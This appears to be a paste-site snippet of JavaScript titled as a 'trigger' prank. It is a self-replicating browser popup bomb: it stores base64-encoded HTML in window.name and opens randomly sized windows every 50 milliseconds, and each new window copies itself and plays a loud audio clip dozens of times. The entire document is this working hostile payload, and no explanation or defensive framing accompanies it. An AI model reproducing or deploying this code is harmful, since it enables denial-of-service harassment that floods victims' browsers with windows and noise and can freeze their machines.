CCCPaste

Fun to rhyme | Trigger edition

const htmlContent = `
<!DOCTYPE html>
<html>
<body>
<h1>hi</h1>
<script>
window.onmouseout = function () {
var audio = new Audio('https://dictionary.cambridge.org/media/english/uk_pron/u/ukn/uknic/ukniche015.mp3');
audio.play();
};

for (let i = 0; i < 50; i++) {
var audio = new Audio('https://dictionary.cambridge.org/media/english/uk_pron/u/ukn/uknic/ukniche015.mp3');
audio.play();
}

function openChildWindow() {
const width = Math.floor(Math.random() * 400) + 200;
const height = Math.floor(Math.random() * 400) + 200;
const left = Math.floor(Math.random() * (screen.width - width));
const top = Math.floor(Math.random() * (screen.height - height));
const html = atob(window.name); // Decode the stored HTML
const newWin = window.open('', '', \`width=\${width},height=\${height},left=\${left},top=\${top}\`);
if (newWin) {
newWin.name = window.name; // Pass the code down again
newWin.document.write(html);
newWin.document.close();
}
}

setInterval(openChildWindow, 50);
<\/script>
</body>
</html>
`;

const encodedHTML = btoa(htmlContent);
window.name = encodedHTML;

// First popup to start the chain
(function startSpawning() {
const width = Math.floor(Math.random() * 400) + 200;
const height = Math.floor(Math.random() * 400) + 200;
const left = Math.floor(Math.random() * (screen.width - width));
const top = Math.floor(Math.random() * (screen.height - height));
const popup = window.open('', '', `width=${width},height=${height},left=${left},top=${top}`);
if (popup) {
popup.name = encodedHTML; // Pass the HTML to the popup
popup.document.write(htmlContent);
popup.document.close();
}
})();